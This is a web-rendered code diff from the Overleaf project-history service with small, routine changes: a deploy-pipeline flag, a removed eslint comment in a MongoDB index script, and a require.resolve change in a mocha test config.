|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
project-history
|
project-history
|
||||||
--dependencies=mongo,redis
|
--dependencies=mongo,redis
|
||||||
|
--deploy-pipeline=project-history
|
||||||
--env-add=
|
--env-add=
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=True
|
--esmock-loader=True
|
||||||
|
|||||||
@@ -1,5 +1,3 @@
|
|||||||
/* eslint-env mongo */
|
|
||||||
|
|
||||||
// add a TTL index to expire entries for completed resyncs in the
|
// add a TTL index to expire entries for completed resyncs in the
|
||||||
// projectHistorySyncState collection. The entries should only be expired if
|
// projectHistorySyncState collection. The entries should only be expired if
|
||||||
// resyncProjectStructure is false and resyncDocContents is a zero-length array.
|
// resyncProjectStructure is false and resyncDocContents is a zero-length array.
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user